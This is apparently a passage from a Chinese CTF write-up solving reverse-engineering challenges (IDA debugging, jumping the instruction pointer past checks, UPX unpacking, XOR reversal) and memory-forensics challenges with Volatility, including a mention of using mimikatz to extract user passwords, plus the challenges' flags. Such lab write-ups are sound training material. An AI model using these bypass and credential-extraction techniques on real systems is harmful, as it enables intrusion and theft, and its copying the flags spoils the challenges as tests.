即可得到:4544_123_677_1754_777}

Reverse-点击即送的时代一去不复返了!

使用IDA打开附件即可得到flag。

Reverse-0Ooo0oO

使用IDA打开附件即可得到flag。

Reverse-testing

使用IDA打开附件:

可以发现,其生成了一个随机数v5,且当输入的v6==v5时会执行一个decrypt函数。

打开decrypt函数,可以猜测在这个函数会输出flag。

接下来通过调试的方式来使得decrypt函数被执行:

在main函数中打一个断点,使得可以在调试器中使用步进和步过。

同时在decrypt函数的最后打一个断点,避免程序被退出。

然后向下执行,随便输入一些数值后使用跳转到IP,直接将CPU切到去执行decrypt函数,即可得到flag:flag{testing}

Reverse-龟缩战术

根据题目提示,该题目附件的程序有加壳,首先使用Exeinfo PE查壳:

可以发现是UPX壳,直接使用UPX程序去壳即可:

将去壳后的程序使用IDA打开:

可以发现,它会将输入的每一个字符的ASCII+1,然后去跟enc变量比较。

简单处理这个enc变量的值即可得到flag:

Reverse-我也很异或呢1.0

使用IDA打开附件,阅读代码可知是将输入的每一个字符与前一个字符进行异或操作,而后去判断是否和global变量相等:

可以找到global变量:

已知异或运算具有自反性(A xor B xor B == A),故编写如下脚本即可得到flag:

Reverse-疯狂的蛇

使用IDA打开附件,在程序入口处下个断点看看程序是怎么运行的:

电脑萤幕的截图 描述已自动生成

F9开始调试,F5查看源代码,可以发现它是要求得分达到1145141919810才能拿到flag,继续F7步进看看在哪里判断score的:

电脑萤幕的截图 描述已自动生成

发现它是在update_food函数判断的score值,然后如果大于1145141919809就执行chacha20函数,猜测这个函数就是输出flag的,直接Ctrl+N设置IP然后F8步过:

图片包含 图形用户界面 描述已自动生成

顺利拿到flag。

Reverse-莎士比亚的戏剧

参考:Shakespeare详解(https://zhuanlan.zhihu.com/p/44096770)可知这Shakespeare语言就这一个Hello World的Demo,故flag为:flag{Hello_World!}

Reverse-真的点击即送吗?

使用IDA打开题目附件,进行调试发现怎么点都不能得到flag的。

尝试Alt+T查找程序中包含flag的字段:

发现了一个main_give_flag函数,看看这个函数在哪里被调用的:

在WinProc里面,而这个WinProc是在创建用户能看到的程序窗口之前调用的。

再进main_give_flag里面看看:

可以发现其解密后的内容会被存入p_decryptedMessage,即只需要其在执行decryptString函数之后获取p_decryptedMessage的值即可。

在程序入口处和decryptString后打断点,进调试,然后直接通过设置IP跳进main_give_flag:

接下来读出p_decryptedMessage即可拿到flag:

Forensics-【OSINT】一条河

使用百度识图搜索给出的图片,根据搜索结果猜测图片为航拍汾河,进而在地图软件中查找汾河附近的体育场,通过街景比对确认为红灯笼体育场。

故flag为nsilab{汾河_红灯笼体育场},提交成功。

Forensics-一个卷(不是鸡肉卷的卷)

下载文件后,根据题目可以猜测这是一个虚拟磁盘文件,首先尝试用DiskGenius打开:

发现无法访问,结合题目中已经给出的密码,进而判断这是一个加密卷,尝试使用CnCrypt加载磁盘。

加载成功,但打开磁盘中的文本文档却并没有得到flag。

根据文档内的提示,通过查找资料了解到NTFS文件系统可以通过NTFS文件流的方式隐藏文件,而隐藏的文件可以使用NtfsStreamEditor这个工具来访问。

使用NtfsStreamEditor检查这个虚拟磁盘,找到了隐藏的文本文档并得到flag:

Forensics-看看QwQ装的新机吧No.1-剪贴板的秘密

根据教程配置好取证环境(https://miguoqaq.github.io/2024/02/06/No-1/),然后将下载到的QvQ.raw导入Kali虚拟机,使用vol.py进行取证操作。

首先使用vol.py -f QvQ.raw imageinfo命令获得系统摘要信息。

判断系统版本为Win7SP1x64,接下来使用:

vol.py -f QvQ.raw --profile=Win7SP1x64 clipboard

即可拿到剪贴板内容,即flag。

Forensics-看看QwQ装的新机吧No.2-谁是黑客

根据题目提示使用以下命令拿到cmd控制台执行的命令和回显即可:

Forensics-看看QwQ装的新机吧No.3-绝密文档

根据题目提示,在镜像文件内查找文件名包含绝密文档的文件并提取出来:

使用编辑器打开提取出的文件会得到一串Base64字符串,解密即可得到flag:flag{555y0u_See_It!WHY!}

Forensics-看看QwQ装的新机吧No.4-用户密码

根据题目提示使用mimikatz插件拿到密码即可:

Forensics-看看QwQ装的新机吧No.5-可执行程序

首先尝试在镜像文件内查找文件名包含flag的文件并提取出来:

Dump出的dat文件即是原文件,其的确是一个可执行程序,直接使用IDA反汇编即可找到flag:

Forensics-看看QwQ装的新机吧No.6-浏·览·器

根据题目提示应该与浏览器有关,首先尝试直接获取Internet Explorer的历史记录:

发现其的确对桌面上的一个文件进行了读取,但是搜索该文件发现文件已经被删除。

进而考虑通过获取MFT的方式查找删除的文件:

vol.py -f QvQ.raw --profile=Win7SP1x64 mftparser >> 1.txt

执行完成后打开1.txt查找“flag{”字段,的确找到了以下flag,但是是假的:

继续尝试查看IE浏览器进程:

vol.py -f QvQ.raw --profile=Win7SP1x64 pslist

将其分别dump出来进行关键字文件查找:

vol.py -f QvQ.raw --profile=Win7SP1x64 memdump -p $pid --dump-dir=./
string $pid.dmp | grep flag{

可以找到以下3个flag:

flag{every0ne_se@rches_0n_the_1nternet}
flag{Every0ne_se@rches_0n_the_1nternet}
flag{very_g00d_you_f0und_th1s}

经过测试,第二条即为本题flag。